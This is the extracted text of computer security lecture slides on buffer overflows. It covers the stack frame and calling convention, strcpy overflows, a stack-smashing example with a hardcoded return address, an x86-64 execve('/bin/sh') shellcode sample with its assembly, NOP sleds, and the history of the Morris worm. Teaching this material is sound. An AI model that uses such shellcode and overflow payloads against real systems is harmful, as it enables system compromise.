SC3010
Computer Security
Lecture 2: Software Security (I)
Basic Concepts in Software Security
Vulnerability: a weakness which allows an attacker to
reduce a system's information assurance.
Exploit: a technique that takes
advantage of a vulnerability, and used
by the attacker to attack a system
Payload: a custom code that the attacker
wants the system to execute
Software system
2
Different Kinds of Vulnerabilities
Memory • Buffer overflows and over-reads
safety violations • Dangling pointers
• Format string attacks
Input • SQL injection
validation errors • Code injection
• Cross-site scripting in web applications
• Time-of-check-to-time-of-use bugs
Race conditions
• Symlink races
• Cross-site request forgery in web applications
Privilege-
• Clickjacking
confusion bugs
• FTP bounce attack
Privilege escalation • Privilege escalation
Side-channel attack • Timing attack
3
Different Kinds of Malware
Display unwanted
Allow a remote advertisement Block user’s data
party to gain access
until a ransom is paid.
to the computer Adware
Backdoor
Ransomware
Obtain root
privileges to
Rootkits gather information
compromise
about the user and
the computer Malware Spyware send it to attacker
Trojans
Crimeware designed
Pretend to do specifically to
something useful, Viruses Worms automate
but mask malicious cybercrime
behaviors
Propagate to different Propagate to different
computers. Needs to computers without
be triggered by a user user intervention
4
Why Does Software Have Vulnerabilities
Human factor
Programs are developed by humans. Humans make mistakes
Programmers are not security-aware
Misconfigurations could lead to exploit of software vulnerabilities
Language factor
Some programming languages are not designed well for security
- Mainly due to more flexible handling of pointers/references.
- Lack of strong typing.
- Manual memory management. Easier for programmers to make mistakes.
5
Outline
Review: Memory Layout and Function Call Convention
Buffer Overflow Vulnerability
6
Outline
Review: Memory Layout and Function Call Convention
Buffer Overflow Vulnerability
7
Memory Layout of a Program (x86)
Code Memory layout
The program code: fixed size and read only
High Addr
Static data Code
Statically allocated data, e.g., variables, constants
Static data
Stack
Parameters and local variables of methods as
they are invoked. Stack
Each invocation of a method creates one frame
which is pushed onto the stack
Grows to lower addresses
Heap
Dynamically allocated data, e.g., class instances,
data array Heap
Grows towards higher addresses Low Addr
8
Stack
Store local variables (including method parameters) and
intermediate computation results
A stack is subdivided into multiple frames:
A method is invoked: a new frame is pushed onto the stack to store local
variables and intermediate results for this method;
A method exits: its frame is popped off, exposing the frame of its caller
beneath it
Main( ) { Activation Tree Main’s frame
g( );
f( ); Main f’s
g’s frame
}
f( ) {
return g( );
g f g’s frame
}
g( ) {
}
return 1; g
9
Inside a Frame for One Function
Two pointers:
EBP: base pointer. Fixed at the frame base
ESP: stack pointer. Current pointer in frame
(current lowest value on the stack)
A frame consists of the following parts:
Function parameters EBP
Return address of the caller function
When the function is finished, execution
continues at this return address
Base pointer of the caller function ESP
Local variables
Intermediate operands
10
Function Call Convention
Initially: EBP and ESP point to the top and
EBP
bottom of the bar stack frame.
bar stack frame
ESP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
11
Function Call Convention
Step 1: Push function parameters to the
EBP
stack.
bar stack frame
Function parameters are stored in reverse
order.
2
ESP is updated to denote the lowest stack
location due to the push operation. ESP 1
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
12
Function Call Convention
Step 2: Push the current instruction
EBP
pointer (EIP) to the stack.
bar stack frame
This is the return address in function bar
after we finish function foo.
2
ESP is updated to denote the lowest stack
location due to the push operation. 1
ESP Old EIP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
13
Function Call Convention
Step 3: Push the EBP of function bar to
EBP
the stack.
bar stack frame
This can help restore the top of function bar
stack frame when we finish function foo.
2
ESP is updated to denote the lowest stack
location due to the push operation. 1
Old EIP
ESP Old EBP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
14
Function Call Convention
Step 4: Adjust EBP for function foo stack
frame.
bar stack frame
Move EBP to ESP of bar stack frame
2
1
Old EIP
EBP
ESP Old EBP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
15
Function Call Convention
Step 5: Adjust ESP for function foo stack
frame.
bar stack frame
Move ESP to some location below to create
a new stack frame for function foo
2
The stack space for function foo is pre-
calculated based on the source code. It is 1
used for storing the local variables and
Old EIP
intermediate results. EBP
Old EBP
foo
void bar( ) { stack
foo(1, 2); frame
}
int foo(int x, int y){
int z = x + y;
ESP
return z;
}
16
Function Call Convention
Step 6: Execute function foo within its
stack frame.
bar stack frame
The returned result will be stored in the
register EAX.
2
1
Old EIP
EBP
Old EBP
foo
void bar( ) { stack
foo(1, 2); frame
}
int foo(int x, int y){
int z = x + y;
ESP
return z;
}
17
Function Call Convention
Step 7: Adjust ESP.
Move ESP to EBP
bar stack frame
This deletes the stack space allocated for
function foo.
2
1
Old EIP
EBP
ESP Old EBP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
18
Function Call Convention
Step 8: Restore EBP.
EBP
Pop a value from the stack (old EBP), and
assign it to EBP. bar stack frame
ESP is also updated (old EIP) due to the pop
operation. 2
(old EBP) is deleted from the stack. 1
ESP Old EIP
Old EBP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
19
Function Call Convention
Step 9: Restore EIP.
EBP
Pop a value from the stack (old EIP), and
assign it to EIP. bar stack frame
ESP is also updated (1) due to the pop
operation. 2
(old EIP) is deleted from the stack. ESP 1
Old EIP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
20
Function Call Convention
Step 10: Delete function parameters.
EBP
Pop values from the stack (1, 2).
bar stack frame
ESP is also updated (old ESP) due to the pop
ESP
operation.
2
Function parameters (1, 2) are deleted from
the stack. 1
Continue the execution in function bar. Old EIP
void bar( ) {
foo(1, 2);
}
int foo(int x, int y){
int z = x + y;
return z;
}
21
Outline
Review: Memory Layout and Function Call Convention
Buffer Overflow Vulnerability
22
A Common Vulnerability in C Language
String
An array of characters (1 Byte).
Must end with NULL (or `\0’). A string of length 𝑛 can hold only 𝑛−1
characters, while the last character is reserved for NULL.
char* strcpy (char* dest, char* src)
What if the source
Copy string src to dest
string is larger than
No checks on the length of the destination string. destination string?
char str[6] = “Hello”; X
X char* strcpy (char* dest, const char* src) {
[5] \0 unsigned i;
for (i=0; src[i] != '\0'; ++i)
[4] o
dest[i] = src[i];
[3] l dest[i] = '\0';
[2] l return dest;
[1] e }
[0] H
23
General Idea
More data into a memory buffer than the capacity allocated.
Overwriting other information adjacent to that memory buffer.
Key reason: C does not check boundaries when copying data to
the memory.
24
High coverage
Any system implemented using C or C++ can be vulnerable.
Program receiving input data from untrusted network
sendmail, web browser, wireless network driver, ...
Program receiving input data from untrusted users or multi-user systems
services running with high privileges (root in Unix/Linux, SYSTEM in Windows)
Program processing untrusted files
downloaded files or email attachment.
Embedded software
mobile phones with Bluetooth, wireless smartcards, airplane navigation systems, …
25
Example of Buffer Overflow
Corruption of program data
strcpy
\0 \0 str
w c
(4 Bytes)
#include <stdio.h> o b
#include <string.h> l a
f
r
int main(int argc, char* argv[]) { e
char str[4] = “abc”; Source
v
memory
char buf[12]; O buf
(16 Bytes) -
strcpy(buf, “Buffer-Overflow”); (12 Bytes)
r
printf(“str is %s\n",str);
e
return 0; f
} f
u
B
26
Potential Consequences
int Privilege-Level = 3; int Authenticated = 0;
char buf[12]; char buf[12];
strcpy(buf, “......”); strcpy(buf, “......”);
Privilege escalation Bypass authentication
char command[] = “/usr/bin/ls”; int (*foo)(void);
char buf[12]; char buf[12];
strcpy(buf, “......”); strcpy(buf, “......”);
execv(command, ...); foo();
Execute arbitrary command Hijack the program control
……
27
More Vulnerability Functions
char* strcat (char* dest, char* src)
Append the string src to the end of the string dest.
char* gets (char* str)
Read data from the standard input stream (stdin) and store it into str.
int* scanf (const char* format, …)
Read formatted input from standard input stream.
int sprintf (char* str, const char* format, …)
Create strings with specified formats, and store the resulting string in str.
and more…
28
Stack Smashing
Function call convention:
Step 2: Push the current instruction pointer (EIP)
to the stack. bar stack frame
Step 6: Execute the callee function within its
stack frame. 2
Step 9: Restore EIP from the stack.
1
Old EIP
Overwrite EIP on the stack during the EBP
execution of the callee function (step 6). Old EBP
foo
stack
After callee function is completed (step frame
9), it returns to a different (malicious) ESP
function instead of the caller function!
29
Example of Stack Smashing
void attack()
#include <stdio.h>
#include <string.h>
void overflow(char* input){ main stack frame
char buf[8];
strcpy(buf,input);
} input
void attack(){ Old EIP
printf(“Attack succeed!\n"); EBP
}
overflow Old EBP
int main(int argc, char **argv){ stack frame buf
char input[] = ESP
"AAAAAAAAAAAAAAAA\xaf\x51\x55\x55\x55\x55";
overflow(input);
return 0;
} \xaf \x51 \x55 \x55 \x55 \x55 \x0
Attack function address is: input A A A A A A A A
\x55\x55\x55\x55\x51\xaf
A A A A A A A A
30 Addresses are little-endian
Injecting Shellcode
Shellcode: a small piece of code the attacker injects into the
memory as the payload to exploit a vulnerability
Normally the code starts a command shell so the attacker can run any command to
compromise the machine. #include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
int main( ) {
int main() {
char* name[2];
unsigned char shellcode[] =
name[0] = "/bin/sh";
"\x48\x31\xff\x57\x48\xbb\x2f\x62\x69\x6
name[1] = NULL;
e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x3
execve(name[0], name, NULL);
1\xf6\x48\x31\xd2\xb0\x3b\x0f\x05";
}
((void(*)()) shellcode)();
}
section .text
global _start
_start: 48 31 ff
xor rdi, rdi 57
push rdi 48 bb 2f 62 69 6e 2f
mov rbx, 0x68732f2f6e69622f 2f 73 68
push rbx 53
mov rdi, rsp 48 89 e7
xor rsi, rsi 48 31 f6
xor rdx, rdx 48 31 d2
b0 3b
31 mov al, 59
syscall 0f 05
Overwrite EIP with the Shellcode Address
void overflow(char* input){
char buf[32];
strcpy(buf,input);
}
Address of buf Old EIP
EBP
A A A A A A A A Old EBP
A A A A
input
overflow
Shellcode buf stack frame
ESP
32
Overwrite EIP with the Shellcode Address
What if buf is smaller than
shellcode?
Place the shellcode after EIP
void overflow(char* input){
char buf[8];
strcpy(buf,input);
}
Old EIP
EBP
Old EBP overflow
stack frame
Shellcode buf ESP
input
Address after old EIP
A A A A A A A A
33 A A A A A A A A
Summary of Stack Smashing Attack
1. Find a buffer overflow vulnerability in the program (e.g., strcpy
from users’ input without checking boundaries)
2. Inject shellcode into a known memory address
3. Exploit the buffer overflow vulnerability to overwrite EIP with
the shellcode address. Normally this step can be combined
with step 2 using one input.
4. Return from the vulnerable function.
5. Start to execute the shellcode.
34
Shellcode Address is Unknown
Need to guess the address of shellcode.
Incorrect address can cause system crash: unmapped address, protected
kernel code, data segmentation
Improve the chance: Insert many NOP instructions before shellcode
NOP (No-Operation): does nothing but advancing to the next instruction.
Shellcode Shellcode
Incorrect address
Failed attack NOP
NOP
Overwritten EIP Overwritten EIP
Overwritten EBP Overwritten EBP
Buf Buf
35
Morris Worm: the First Buffer Overflow
Vulnerability
History
Released at 8:30pm, 2 November 1988 by
Robert Tappan Morris, a graduate student at
Cornell University
Launched from the computer system of MIT,
trying to confuse the public that this is written
by MIT students, not Cornell.
Buffer overflow in sendmail, fingerd network
protocol, rsh/rexec, etc.
Impact
loppy disk containing
~6,000 UNIX machines infected (10% of the source code for
computers in Internet) the Morris Worm, at
Cost: $100,000 - $10,000,000 the Computer History
Museum
36
Robert Tappan Morris
What happens after Morris Worm
Tried and convicted of violation of 1986
Computer Fraud and Abuse Act. This is the
first felony conviction of this law.
Sentenced to three years' probation, 400 hours
of community service, and a fine of $10,050
(equivalent to $22,000 in 2023).
Had to quit PhD at Cornell. Completed PhD in
1999 at Harvard.
Cofounded Y Combinator in 2005
Became a tenured professor at MIT in 2006. Robert Tappan Morris,
Elected to the National Academy of Entrepreneur,
professor at MIT
Engineering in 2019.
37
Following Morris Worm
Sasser Stuxnet
Code Red Targeting LSASS in Windows XP Targeting industrial
Targeting Microsoft's and 2000. Affected around control systems, and
IIS web server. 500,000 machines. Author: 18- responsible for causing
Affected 359,000 year-old German Sven Jaschan. substantial damage to the
machines in 14 hours Received 21-month suspended nuclear program of Iran
sentence
There are more…
2003 2008 2012
2001 2005 2010
SQL Slammer Flame
Conficker Targeting cyber
Targeting Microsoft's SQL
Targeting Windows espionage in Middle
Server and Desktop Engine
RPC. Affected around Eastern countries
database. Affected 75,000
10 million machines
victims in 10 minutes
38
